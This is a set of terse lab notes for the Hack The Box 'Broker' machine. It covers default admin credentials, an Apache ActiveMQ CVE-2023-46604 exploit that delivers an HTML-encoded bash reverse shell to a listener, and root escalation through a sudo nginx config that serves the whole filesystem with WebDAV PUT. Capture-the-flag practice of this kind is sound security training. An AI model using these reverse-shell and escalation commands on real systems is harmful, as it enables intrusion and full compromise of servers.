https://threatninja.net/2023/11/hack-the-box-broker-machine-walkthrough-easy-difficulty/

10.10.11.243

/etc/host

Add Brocker

Login browser with default password admin admin

<https://github.com/SaumyajeetDas/CVE-2023-46604-RCE-Reverse-Shell-Apache-ActiveMQ.git>

edit file Poc\_linux.xml

change sh to bash and add revers shell command with HTML encode

bash -i &#x26;&#x3E;/dev/tcp/10.10.14.147/1337 &#x3C;&#x26;1

python3 -m http.server 8005 (in one terminal for connection for remote pc)

nc -lvnp 1337 (one terminal for listen for rversshell)

go run main.go -i 10.10.11.243 -p 61616 -u <http://10.10.14.147:8005/poc-linux.xml> (one terminal for push to target pc)

usr/bin/nginx is vulnerable

create configuration nginx.conf

user root;

worker\_processes auto;

events {

worker\_connections 1024;

}

http {

server {

listen 7777;

root /;

autoindex on;

dav\_methods PUT;

}

}

/dev/shm (run the nginx.conf in this folder)

sudo nginx -c /dev/shm/nginx.conf

open browser with nginx port

10.10.11.243:7777